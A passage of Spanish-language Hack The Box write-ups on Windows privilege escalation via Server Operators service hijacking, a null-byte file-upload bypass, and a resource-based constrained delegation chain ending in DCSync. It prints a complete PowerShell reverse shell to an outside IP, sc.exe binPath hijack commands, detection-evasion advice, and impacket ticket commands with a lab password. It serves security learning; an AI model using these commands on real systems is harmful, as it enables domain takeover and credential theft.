<p><code class="language-plaintext highlighter-rouge">BUILTIN\Server Operators</code> (SID: <code class="language-plaintext highlighter-rouge">S-1-5-32-549</code>) es un grupo local privilegiado de Windows que existe por defecto en <strong>Domain Controllers</strong>. A diferencia de grupos como <code class="language-plaintext highlighter-rouge">Administrators</code>, este grupo está diseñado para delegar tareas operativas del servidor sin otorgar control total del sistema, pero en la práctica sus permisos abren una superficie de ataque crítica.</p>

<p>Los miembros de este grupo tienen capacidad para:</p>

<ul>
  <li>Iniciar y detener servicios del sistema</li>
  <li>Modificar la configuración de servicios (incluyendo el <code class="language-plaintext highlighter-rouge">binPath</code>)</li>
  <li>Hacer login local en Domain Controllers</li>
  <li>Crear y eliminar shared folders</li>
  <li>Formatear discos</li>
  <li>Hacer backup y restore de archivos (<code class="language-plaintext highlighter-rouge">SeBackupPrivilege</code> / <code class="language-plaintext highlighter-rouge">SeRestorePrivilege</code>)</li>
</ul>

<p>El vector de ataque más directo y poderoso es la <strong>modificación del binario de un servicio</strong>, ya que muchos servicios del sistema corren como <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code>.</p>

<hr />

<h2 id="reconocimiento---identificar-la-membresía">Reconocimiento - Identificar la membresía</h2>

<p>Al obtener una shell con <code class="language-plaintext highlighter-rouge">svc-printer</code> via Evil-WinRM, lo primero que hago es <code class="language-plaintext highlighter-rouge">whoami /all</code> para auditar mis grupos y privilegios:</p>

<p><a href="/assets/images/175.png"><img src="/assets/images/175.png" alt="" /></a></p>

<p>El output relevante fue:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BUILTIN\Server Operators   Alias   S-1-5-32-549   Mandatory group, Enabled by default, Enabled group
</code></pre></div></div>

<p>Esto es inmediatamente una señal de alarma (positiva para el atacante). El usuario de servicio <code class="language-plaintext highlighter-rouge">svc-printer</code> fue configurado en este grupo probablemente para que pudiera gestionar servicios de impresión, pero esa delegación excesiva nos da la palanca para escalar.</p>

<hr />

<h2 id="el-vector-modificación-del-binpath-de-un-servicio">El Vector: Modificación del BinPath de un Servicio</h2>

<h3 id="por-qué-funciona-esto">¿Por qué funciona esto?</h3>

<p>Cuando Windows ejecuta un servicio, lo hace con el contexto del usuario configurado en ese servicio. Los servicios del sistema como <code class="language-plaintext highlighter-rouge">VMTools</code>, <code class="language-plaintext highlighter-rouge">browser</code>, <code class="language-plaintext highlighter-rouge">VSS</code>, etc., corren como <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code>, la cuenta con máximos privilegios en el sistema operativo.</p>

<p><code class="language-plaintext highlighter-rouge">sc.exe</code> es la herramienta nativa de Windows para gestionar servicios. Con <code class="language-plaintext highlighter-rouge">sc.exe config</code> puedo modificar el <code class="language-plaintext highlighter-rouge">binpath</code>, que es la ruta al ejecutable que se lanza cuando el servicio arranca. Como miembro de <code class="language-plaintext highlighter-rouge">Server Operators</code>, tengo permiso para hacer exactamente eso.</p>

<p>La lógica es:</p>

<blockquote>
  <p><strong>Si puedo cambiar qué ejecutable corre un servicio de SYSTEM, y puedo reiniciar ese servicio, entonces puedo ejecutar cualquier comando como SYSTEM.</strong></p>
</blockquote>

<hr />

<h2 id="explotación-paso-a-paso">Explotación Paso a Paso</h2>

<h3 id="1-selección-del-servicio-objetivo">1. Selección del servicio objetivo</h3>

<p>Elegí <code class="language-plaintext highlighter-rouge">VMTools</code> (VMware Tools) porque es un servicio estándar, siempre presente en máquinas virtuales, y corre como <code class="language-plaintext highlighter-rouge">SYSTEM</code>. Cualquier servicio del sistema con esas características sirve.</p>

<h3 id="2-preparar-el-listener">2. Preparar el listener</h3>

<p>En mi Kali preparo netcat esperando la conexión entrante:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<h3 id="3-generar-el-payload">3. Generar el payload</h3>

<p>Uso un one-liner de PowerShell para reverse shell, codificado en Base64 (UTF-16LE) porque el parámetro <code class="language-plaintext highlighter-rouge">-EncodedCommand</code> de PowerShell lo requiere así. El payload en texto claro es:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$client</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Net.Sockets.TCPClient</span><span class="p">(</span><span class="s2">"10.10.15.15"</span><span class="p">,</span><span class="mi">4444</span><span class="p">);</span><span class="w">
</span><span class="nv">$stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$client</span><span class="o">.</span><span class="nf">GetStream</span><span class="p">();</span><span class="w">
</span><span class="p">[</span><span class="n">byte</span><span class="p">[]]</span><span class="nv">$bytes</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="mi">65535</span><span class="o">|%</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span><span class="w">
</span><span class="kr">while</span><span class="p">((</span><span class="nv">$i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Read</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="w"> </span><span class="nx">0</span><span class="p">,</span><span class="w"> </span><span class="nv">$bytes</span><span class="o">.</span><span class="nf">Length</span><span class="p">))</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="mi">0</span><span class="p">){</span><span class="w">
    </span><span class="nv">$data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nt">-TypeName</span><span class="w"> </span><span class="nx">System.Text.ASCIIEncoding</span><span class="p">)</span><span class="o">.</span><span class="nf">GetString</span><span class="p">(</span><span class="nv">$bytes</span><span class="p">,</span><span class="nx">0</span><span class="p">,</span><span class="nv">$i</span><span class="p">);</span><span class="w">
    </span><span class="nv">$sendback</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">iex</span><span class="w"> </span><span class="nv">$data</span><span class="w"> </span><span class="nx">2</span><span class="err">&gt;</span><span class="o">&amp;</span><span class="nx">1</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-String</span><span class="p">);</span><span class="w">
    </span><span class="nv">$sendback2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$sendback</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"PS "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">pwd</span><span class="p">)</span><span class="o">.</span><span class="nf">Path</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"&gt; "</span><span class="p">;</span><span class="w">
    </span><span class="nv">$sendbyte</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">([</span><span class="n">text.encoding</span><span class="p">]::</span><span class="n">ASCII</span><span class="p">)</span><span class="o">.</span><span class="nf">GetBytes</span><span class="p">(</span><span class="nv">$sendback2</span><span class="p">);</span><span class="w">
    </span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Write</span><span class="p">(</span><span class="nv">$sendbyte</span><span class="p">,</span><span class="nx">0</span><span class="p">,</span><span class="nv">$sendbyte</span><span class="o">.</span><span class="nf">Length</span><span class="p">);</span><span class="w">
    </span><span class="nv">$stream</span><span class="o">.</span><span class="nf">Flush</span><span class="p">()</span><span class="w">
</span><span class="p">};</span><span class="w">
</span><span class="nv">$client</span><span class="o">.</span><span class="nf">Close</span><span class="p">()</span><span class="w">
</span></code></pre></div></div>

<h3 id="4-modificar-el-binpath-del-servicio">4. Modificar el binPath del servicio</h3>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sc.exe</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="nx">VMTools</span><span class="w"> </span><span class="nx">binpath</span><span class="o">=</span><span class="s2">"cmd /c powershell.exe -nop -w hidden -e &lt;BASE64_PAYLOAD&gt;"</span><span class="w">
</span></code></pre></div></div>

<p>El <code class="language-plaintext highlighter-rouge">cmd /c</code> es necesario como wrapper porque <code class="language-plaintext highlighter-rouge">sc.exe</code> necesita que el binario sea un ejecutable directo, y <code class="language-plaintext highlighter-rouge">powershell.exe</code> con sus argumentos necesita pasar por <code class="language-plaintext highlighter-rouge">cmd</code> para interpretarse correctamente.</p>

<h3 id="5-reiniciar-el-servicio">5. Reiniciar el servicio</h3>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sc.exe</span><span class="w"> </span><span class="nx">stop</span><span class="w"> </span><span class="nx">VMTools</span><span class="w">
</span><span class="n">sc.exe</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">VMTools</span><span class="w">
</span></code></pre></div></div>

<p>El comando <code class="language-plaintext highlighter-rouge">sc.exe start</code> devuelve error <code class="language-plaintext highlighter-rouge">1053</code> (“The service did not respond to the start or control request in a timely fashion”). Esto es <strong>completamente esperado y normal</strong>: el servicio no puede reportar que arrancó correctamente porque nuestro payload no implementa la lógica de comunicación con el Service Control Manager. Sin embargo, <strong>el comando del binPath ya se ejecutó</strong> antes de que expire el timeout.</p>

<hr />

<h2 id="resultado">Resultado</h2>

<p>En mi listener recibo la conexión y verifico con <code class="language-plaintext highlighter-rouge">whoami /all</code>:</p>

<p><a href="/assets/images/174.png"><img src="/assets/images/174.png" alt="" /></a></p>

<p>Escalada completa a <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code></p>

<hr />

<h2 id="opsec-por-qué-la-reverse-shell-es-mejor-que-agregar-al-grupo-administrators">OPSEC: ¿Por qué la reverse shell es mejor que agregar al grupo Administrators?</h2>

<p>Una alternativa más simple es:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sc.exe</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="nx">VMTools</span><span class="w"> </span><span class="nx">binpath</span><span class="o">=</span><span class="s2">"cmd /c net localgroup administrators svc-printer /add"</span><span class="w">
</span></code></pre></div></div>

<p>Esto funciona, pero tiene desventajas desde el punto de vista de OPSEC:</p>

<table>
  <thead>
    <tr>
      <th>Método</th>
      <th>Ventaja</th>
      <th>Desventaja</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">net localgroup administrators /add</code></td>
      <td>Simple, sin listener</td>
      <td>Deja rastro permanente en AD, detectable fácilmente</td>
    </tr>
    <tr>
      <td>Reverse Shell</td>
      <td>No modifica grupos, más sigiloso</td>
      <td>Requiere listener activo, conexión saliente</td>
    </tr>
  </tbody>
</table>

<p>En un engagement real, <strong>modificar la membresía de grupos de dominio</strong> es una de las acciones más ruidosas posibles: queda en logs de Active Directory, en SIEMs, y cualquier solución de detección decente lo alerta de inmediato. La reverse shell en cambio es una conexión de red saliente que, si el puerto está permitido por el firewall (4444 puede levantarse en 443, 80, o 8443 para mayor evasión), pasa más desapercibida.</p>

<p>Además, con la reverse shell no necesito persistencia: tomo lo que necesito y me voy, minimizando la huella.</p>

<hr />

<h2 id="restaurar-el-servicio-cleanup">Restaurar el servicio (cleanup)</h2>

<p>Después de terminar, es buena práctica restaurar el binPath original del servicio para no dejar el sistema roto:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sc.exe</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="nx">VMTools</span><span class="w"> </span><span class="nx">binpath</span><span class="o">=</span><span class="s2">"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"</span><span class="w">
</span><span class="n">sc.exe</span><span class="w"> </span><span class="nx">start</span><span class="w"> </span><span class="nx">VMTools</span><span class="w">
</span></code></pre></div></div>

<hr />

<h2 id="resumen-del-ataque">Resumen del ataque</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc-printer (Server Operators)
        │
        ▼
sc.exe config VMTools binpath="&lt;payload&gt;"
        │
        ▼
sc.exe stop/start VMTools
        │
        ▼
Servicio ejecuta payload como SYSTEM
        │
        ▼
Reverse shell → NT AUTHORITY\SYSTEM
</code></pre></div></div>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Windows" /><category term="Active Directory" /><category term="Privilege Escalation" /><category term="Windows" /><category term="Server Operators" /><category term="Service Abuse" /><category term="Evil-WinRM" /><category term="Reverse Shell" /><category term="HTB" /><category term="LDAP" /><summary type="html"><![CDATA[¿Qué es el grupo Server Operators?]]></summary></entry><entry><title type="html">Null Byte Injection</title><link href="https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/25/Null-Byte-Injection.html" rel="alternate" type="text/html" title="Null Byte Injection" /><published>2026-02-25T00:00:00+00:00</published><updated>2026-02-25T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/25/Null-Byte-Injection</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/windows/2026/02/25/Null-Byte-Injection.html"><![CDATA[<p>El Null Byte Injection es una vulnerabilidad compleja y bastante peligrosa cuando un sitio es vulnerable. Ocurre cuando un atacante inserta o modifica un byte nulo — <code class="language-plaintext highlighter-rouge">%00</code> en URL, <code class="language-plaintext highlighter-rouge">\0</code> en código — dentro de la entrada del cliente para manipular cómo el backend procesa esa data.</p>

<p>El problema de fondo es una inconsistencia entre capas. Lenguajes de bajo nivel como C interpretan el <code class="language-plaintext highlighter-rouge">\0</code> como el fin de un string, literalmente dejan de leer ahí. Entonces cuando una aplicación moderna en PHP o Python pasa esos datos hacia una función de bajo nivel, cada capa ve un string distinto con los mismos datos. El validador sigue leyendo normal, la función de abajo corta en el null byte — y en esa brecha el atacante opera.</p>

<p>No está rompiendo nada, está abusando de esa inconsistencia para que el sistema haga dos cosas al mismo tiempo sin darse cuenta. El validador aprueba, el ejecutor hace algo completamente distinto.</p>

<p>Si el sitio no sanitiza bien esos bytes nulos, el atacante puede bypassear controles de seguridad, manipular rutas de archivos, explotar funciones internas o colar archivos maliciosos que el backend termina ejecutando sin que ningún filtro lo haya detectado.</p>

<h2 id="explotación--certificate-htb">Explotación — Certificate HTB</h2>

<p>Para demostrar esto en la práctica, usé la máquina Certificate de HackTheBox.</p>

<p>El sitio tiene un panel de subida de archivos que solo acepta documentos comprimidos en zip — pdf, docx, pptx, xlsx. Además está corriendo en PHP, lo que significa que si logro colar un archivo <code class="language-plaintext highlighter-rouge">.php</code> y apuntar a él, el servidor lo va a interpretar y ejecutar.</p>

<p><a href="/assets/images/web7.png"><img src="/assets/images/web7.png" alt="" /></a></p>

<p>Ahí es donde entra el Null Byte Injection.</p>

<h2 id="creando-el-archivo-malicioso">Creando el archivo malicioso</h2>

<p>Creo mi archivo en PHP, un archivo malicioso que al ser interpretado por el servidor le dice que se conecte de vuelta a mi máquina en el puerto 443 — eso es una reverse shell, la conexión sale del servidor hacia mí, lo que me permite evadir firewalls que bloquean conexiones entrantes.</p>

<p>Pero acá viene el problema — si subo el archivo como <code class="language-plaintext highlighter-rouge">evil.php</code> dentro del zip, el validador lo va a rechazar de inmediato porque no es un formato permitido. Entonces lo que hago es nombrar mi archivo <code class="language-plaintext highlighter-rouge">evil.php..pdf</code>. Le coloco dos puntos antes de <code class="language-plaintext highlighter-rouge">pdf</code> y no uno solo, y eso es intencional por una razón muy específica.</p>

<p><a href="/assets/images/web8.png"><img src="/assets/images/web8.png" alt="" /></a></p>

<p>Necesito que al momento de inyectar el null byte, el nombre del archivo quede limpio del lado del sistema. Si solo pusiera <code class="language-plaintext highlighter-rouge">evil.php.pdf</code> y reemplazara ese único punto por <code class="language-plaintext highlighter-rouge">\0</code>, quedaría <code class="language-plaintext highlighter-rouge">evil.php\0pdf</code> — sin punto antes de la extensión, un nombre roto que el sistema no va a manejar bien. En cambio con <code class="language-plaintext highlighter-rouge">evil.php..pdf</code>, cuando reemplazo el primer punto por <code class="language-plaintext highlighter-rouge">\0</code> queda <code class="language-plaintext highlighter-rouge">evil.php\0.pdf</code> — uno de los puntos lo sacrifico como null byte y el otro se queda cumpliendo su función natural, ser el punto de la extensión <code class="language-plaintext highlighter-rouge">.pdf</code>. El validador lee el string completo y ve <code class="language-plaintext highlighter-rouge">.pdf</code> , todo tranquilo.</p>

<h2 id="modificando-el-zip-en-hexadecimal">Modificando el ZIP en hexadecimal</h2>

<p>Ahora abro ese zip con hexedit, que me permite ver y editar la data cruda del archivo en hexadecimal. Dentro del zip el nombre del archivo está almacenado en dos lugares — en el header local y en el central directory, que es básicamente el índice interno del zip que le dice al sistema qué archivos contiene y dónde están. En ambos lugares busco el nombre <code class="language-plaintext highlighter-rouge">evil.php..pdf</code> y localizo los dos puntos representados en hex como <code class="language-plaintext highlighter-rouge">2E 2E</code>. Reemplazo el primer <code class="language-plaintext highlighter-rouge">2E</code> por <code class="language-plaintext highlighter-rouge">00</code> en las dos ocurrencias. Si no lo hago en ambas, el zip queda inconsistente y puede fallar al extraerse.</p>

<p><a href="/assets/images/web9.png"><img src="/assets/images/web9.png" alt="" /></a></p>

<p><a href="/assets/images/web10.png"><img src="/assets/images/web10.png" alt="" /></a></p>

<p><a href="/assets/images/web11.png"><img src="/assets/images/web11.png" alt="" /></a></p>

<p><a href="/assets/images/web12.png"><img src="/assets/images/web12.png" alt="" /></a></p>

<h2 id="subiendo-el-archivo-y-obteniendo-la-shell">Subiendo el archivo y obteniendo la shell</h2>

<p>Ahora el zip contiene <code class="language-plaintext highlighter-rouge">evil.php\0.pdf</code>. Subo el zip, el validador ve <code class="language-plaintext highlighter-rouge">.pdf</code> y lo aprueba sin levantar ninguna alerta.</p>

<p><a href="/assets/images/web13.png"><img src="/assets/images/web13.png" alt="" /></a></p>

<p>Pero cuando el backend extrae el archivo y lo pasa al sistema de archivos — que por debajo usa funciones escritas en C — ese <code class="language-plaintext highlighter-rouge">\0</code> es interpretado como fin de cadena y el archivo queda guardado físicamente como <code class="language-plaintext highlighter-rouge">evil.php</code>. Esa es exactamente la inconsistencia que explotamos — el validador y el sistema de archivos leyeron los mismos bytes y llegaron a conclusiones completamente distintas.</p>

<p>Voy a la URL donde quedó almacenado el archivo, apunto directo a <code class="language-plaintext highlighter-rouge">evil.php</code>, le hago un curl y el servidor lo encuentra, lo interpreta como PHP y ejecuta el código malicioso. En mi listener con netcat recibo la conexión — shell dentro del servidor, corriendo como el usuario de XAMPP.</p>

<p><a href="/assets/images/web14.png"><img src="/assets/images/web14.png" alt="" /></a></p>

<p><a href="/assets/images/web15.png"><img src="/assets/images/web15.png" alt="" /></a></p>

<h2 id="conclusión">Conclusión</h2>

<p>Y así, mediante una mala configuración del backend que no sanitiza correctamente los bytes nulos en los nombres de archivo, logré vulnerar el sitio — pasando de simplemente subir un documento a tener ejecución remota de código en el servidor.</p>]]></content><author><name>0xzig0x</name></author><category term="Hack The Box" /><category term="Windows" /><category term="Web Exploitation" /><category term="Null Byte Injection" /><category term="File Upload Bypass" /><category term="PHP" /><category term="Reverse Shell" /><category term="Zip" /><summary type="html"><![CDATA[El Null Byte Injection es una vulnerabilidad compleja y bastante peligrosa cuando un sitio es vulnerable. Ocurre cuando un atacante inserta o modifica un byte nulo — %00 en URL, \0 en código — dentro de la entrada del cliente para manipular cómo el backend procesa esa data.]]></summary></entry><entry><title type="html">(RBCD)delegación restringida basada en recursos</title><link href="https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/02/19/(RBCD)-delegaci%C3%B3n-restringida-basada-en-recursos.html" rel="alternate" type="text/html" title="(RBCD)delegación restringida basada en recursos" /><published>2026-02-19T00:00:00+00:00</published><updated>2026-02-19T00:00:00+00:00</updated><id>https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/02/19/(RBCD)-delegaci%C3%B3n-restringida-basada-en-recursos</id><content type="html" xml:base="https://0xzig0x.github.io/hack%20the%20box/active%20directory/2026/02/19/(RBCD)-delegaci%C3%B3n-restringida-basada-en-recursos.html"><![CDATA[<p><strong>¿Qué es?</strong> Una funcion de AD que permite delegar permisos de forma controlada — en vez de darle acceso total a una cuenta, le decís específicamente a qué recursos puede acceder actuando en nombre de otros usuarios.</p>

<p><strong>¿Por qué importa para el ataque?</strong> AD tiene un atributo llamado <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> en los objetos de equipo/servicio. Este atributo define <strong>quién puede actuar en nombre de otros usuarios</strong> hacia ese recurso.</p>

<p><strong>El punto clave:</strong> Si un atacante tiene permisos para <strong>escribir ese atributo</strong> en un objeto (cosa que las cuentas máquina suelen tener sobre sí mismas u otros objetos), puede modificarlo para que <strong>una cuenta que él controle</strong> quede autorizada a impersonar a cualquier usuario del dominio hacia ese servicio — incluyendo administradores.</p>

<h3 id="rbcd--flujo-del-ataque">RBCD – Flujo del Ataque</h3>

<p><strong>1. Compromiso inicial</strong> Primero necesito una cuenta con permisos de escritura sobre atributos de un objeto en AD. Puede ser una cuenta máquina, o cualquier cuenta con <code class="language-plaintext highlighter-rouge">GenericWrite</code>, <code class="language-plaintext highlighter-rouge">WriteDACL</code> o <code class="language-plaintext highlighter-rouge">AllExtendedRights</code> sobre el objeto objetivo. Sin esto no arranca nada — es el punto de entrada obligatorio.</p>

<p><strong>2. Modifico el atributo</strong> Con esa cuenta escribo en <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> del objeto objetivo y meto mi cuenta controlada. Lo que hago acá es decirle a AD de forma legítima: <em>“esta cuenta mía tiene permiso para actuar en nombre de cualquier usuario hacia este objeto”</em>. Kerberos lo ve como configuración válida, no como ataque.</p>

<p><strong>3. Obtengo un TGT</strong> Con mi cuenta controlada le pido un TGT al KDC. Este ticket es mi identidad dentro de Kerberos — sin él no puedo hacer los pasos siguientes. Es la base de toda la cadena.</p>

<p><strong>4. S4U2Self → me hago pasar por el usuario objetivo</strong> Uso la extensión S4U2Self para pedirle al KDC un TGS como si yo fuera Administrator. El KDC me lo da porque mi cuenta está autorizada en el atributo que modifiqué. Todavía no accedo a nada — solo tengo un ticket que dice que soy Admin.</p>

<p><strong>5. S4U2Proxy → ticket válido hacia el servicio</strong> Con ese ticket uso S4U2Proxy para convertirlo en un TGS válido hacia el servicio o recurso objetivo — CIFS, HTTP, LDAP, lo que sea. El KDC lo valida porque todo el flujo está dentro de la delegación que yo mismo configuré en el paso 2.</p>

<p><strong>6. Accedo como DA</strong> Presento ese TGS y entro al recurso impersonando a Administrator. Para el sistema todo fue legítimo — Kerberos hizo su trabajo normal. Yo solo abusé de a quién le di permiso de delegar.</p>

<hr />

<p>Voy a usar la máquina  Rebound de Hack The Box para demostrar el ataque en acción ya que en esta maquina se debe efectuar este ataque para la escalada de privilegios</p>

<h3 id="el-punto-de-partida">El punto de partida</h3>

<p>Ya tengo credenciales de dos cuentas que necesito para esto. Arranco con <code class="language-plaintext highlighter-rouge">DELEGATOR$</code>, una cuenta máquina. Tenía el AD mapeado en BloodHound de recolecciones previas, así que fui directo a ver qué vectores me daba esta cuenta — y lo que encuentro es que tiene <code class="language-plaintext highlighter-rouge">AllowedToDelegate</code> hacia <code class="language-plaintext highlighter-rouge">DC01</code>. Traducido: esta cuenta tiene permiso para presentarse ante el DC como si fuera otro usuario, eso es exactamente lo que necesito para el ataque.</p>

<p><a href="/assets/images/web1.png"><img src="/assets/images/web1.png" alt="" /></a></p>

<h3 id="primer-intento--el-error-que-me-reorienta">Primer intento — el error que me reorienta</h3>

<p>Con esa info en mano intento impersonar a Administrator. Uso el SPN <code class="language-plaintext highlighter-rouge">HTTP/DC01.rebound.htb</code> y pongo <code class="language-plaintext highlighter-rouge">cifs</code> como alternativa por si el primero no jalaba, tiro el hash de <code class="language-plaintext highlighter-rouge">DELEGATOR$</code> y lanzo el ataque. Todo arranca — obtiene el TGT, declara que va a impersonar a Administrator, hace el proceso completo — y en el último paso truena con <code class="language-plaintext highlighter-rouge">KDC_ERR_BADOPTION</code>.</p>

<p><a href="/assets/images/web2.png"><img src="/assets/images/web2.png" alt="" /></a></p>

<p>El error me da dos posibles causas: o ese SPN no tiene permitido delegar desde <code class="language-plaintext highlighter-rouge">DELEGATOR$</code>, o el TGT que obtuve no es reenvíable. Esto segundo es lo crítico — para que el ataque cierre, Kerberos necesita que el TGT sea reenvíable porque es lo que le permite tomar ese ticket y convertirlo en uno válido hacia el servicio que quiero atacar. Si el TGT no tiene esa propiedad, Kerberos corta ahí y no hay nada que hacer con ese camino. Toca buscar otro ángulo.</p>

<h3 id="configurando-la-delegación--el-ataque-arranca">Configurando la Delegación — El Ataque Arranca</h3>

<p>Acá es donde el RBCD empieza de verdad. Como mencioné, cuento con credenciales de dos cuentas: <code class="language-plaintext highlighter-rouge">DELEGATOR$</code> la cuenta máquina, y <code class="language-plaintext highlighter-rouge">ldap_monitor</code>.</p>

<p>Uso <code class="language-plaintext highlighter-rouge">impacket-rbcd</code> para configurar la delegación. Le paso el hash de <code class="language-plaintext highlighter-rouge">DELEGATOR$</code>, especifico que todo vaya por Kerberos con <code class="language-plaintext highlighter-rouge">-k</code>, le digo desde dónde quiero delegar con <code class="language-plaintext highlighter-rouge">-delegate-from ldap_monitor</code>, hacia dónde con <code class="language-plaintext highlighter-rouge">-delegate-to delegator$</code>, la acción es <code class="language-plaintext highlighter-rouge">write</code>, le paso la IP del DC y especifico que use LDAP.</p>

<p><a href="/assets/images/web3.png"><img src="/assets/images/web3.png" alt="" /></a></p>

<p>Con eso el ataque escribe el atributo <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> directamente en el objeto <code class="language-plaintext highlighter-rouge">DELEGATOR$</code>, apuntando a <code class="language-plaintext highlighter-rouge">ldap_monitor</code>. Traducido: le estoy diciendo al Active Directory  que <code class="language-plaintext highlighter-rouge">ldap_monitor</code> tiene permitido impersonar a cualquier usuario hacia <code class="language-plaintext highlighter-rouge">DELEGATOR$</code> mediante S4U2Proxy. Primer paso completado.</p>

<h3 id="obteniendo-los-tickets--la-cadena-final">Obteniendo los Tickets — La Cadena Final</h3>

<p><strong>TGT para ldap_monitor</strong></p>

<p>Primero obtengo un TGT para <code class="language-plaintext highlighter-rouge">ldap_monitor</code> — este es mi punto de partida y es lo que me permite operar como esa cuenta dentro de Kerberos. Sin él no puedo arrancar nada de lo que sigue.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-getTGT <span class="s1">'rebound.htb/ldap_monitor:1GR8t@$$4u'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>ldap_monitor.ccache
</code></pre></div></div>

<p><strong>Primer ST — impersonando a DC01</strong></p>

<p>Con el TGT de <code class="language-plaintext highlighter-rouge">ldap_monitor</code> solicito un ST usando el SPN <code class="language-plaintext highlighter-rouge">browser/dc01.rebound.htb</code> — ese SPN pertenece a <code class="language-plaintext highlighter-rouge">DELEGATOR$</code> y es exactamente donde configuré la delegación antes. La idea acá es abusar de esa delegación para que Kerberos me emita un ticket como si fuera <code class="language-plaintext highlighter-rouge">DC01$</code>. Uso el TGT de <code class="language-plaintext highlighter-rouge">ldap_monitor</code> por Kerberos sin password porque ya tengo el ticket cargado.</p>

<p><a href="/assets/images/web4.png"><img src="/assets/images/web4.png" alt="" /></a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">KRB5CCNAME</span><span class="o">=</span>ldap_monitor.ccache impacket-getST <span class="nt">-spn</span> <span class="s2">"browser/dc01.rebound.htb"</span> <span class="nt">-impersonate</span> <span class="s2">"dc01</span><span class="se">\$</span><span class="s2">"</span> <span class="s2">"rebound.htb/ldap_monitor"</span> <span class="nt">-k</span> <span class="nt">-no-pass</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>dc01<span class="se">\$</span>@browser<span class="se">\_</span>dc01.rebound.htb@REBOUND.HTB.ccache
</code></pre></div></div>

<p>Lo obtengo — pero este ticket todavía no me sirve para el DCSync. Está limitado al SPN de <code class="language-plaintext highlighter-rouge">DELEGATOR$</code>, y para poder volcar credenciales del DC necesito un ticket válido bajo el SPN del propio DC01. Este primer ST es el trampolín para llegar ahí.</p>

<p><strong>Segundo ST — el que cierra el juego</strong></p>

<p>Uso ese primer ST como ticket adicional con <code class="language-plaintext highlighter-rouge">-additional-ticket</code> y solicito un nuevo ST, esta vez bajo el SPN <code class="language-plaintext highlighter-rouge">http/dc01.rebound.htb</code>, impersonando a <code class="language-plaintext highlighter-rouge">DC01$</code> y autenticándome con las credenciales de <code class="language-plaintext highlighter-rouge">DELEGATOR$</code> por Kerberos. Lo que hago acá es encadenar los dos tickets — el primero me acredita como <code class="language-plaintext highlighter-rouge">DC01$</code>, el segundo convierte eso en acceso real al DC. Este es el ticket final.</p>

<p><a href="/assets/images/web5.png"><img src="/assets/images/web5.png" alt="" /></a></p>

<p>Con ese ST ejecuto un DCSync con <code class="language-plaintext highlighter-rouge">secretsdump</code> apuntando directo al hash del Administrator — y lo obtengo limpio. El DCSync funciona porque estoy operando como <code class="language-plaintext highlighter-rouge">DC01$</code>, una cuenta máquina del dominio que tiene permisos de replicación por defecto — exactamente lo que necesita el ataque para volcar credenciales sin tocar el DC directamente.</p>

<p><strong>Validación y acceso total</strong></p>

<p>Compruebo el hash con <code class="language-plaintext highlighter-rouge">netexec</code> por SMB y este es válido.</p>

<p><a href="/assets/images/web6.png"><img src="/assets/images/web6.png" alt="" /></a></p>

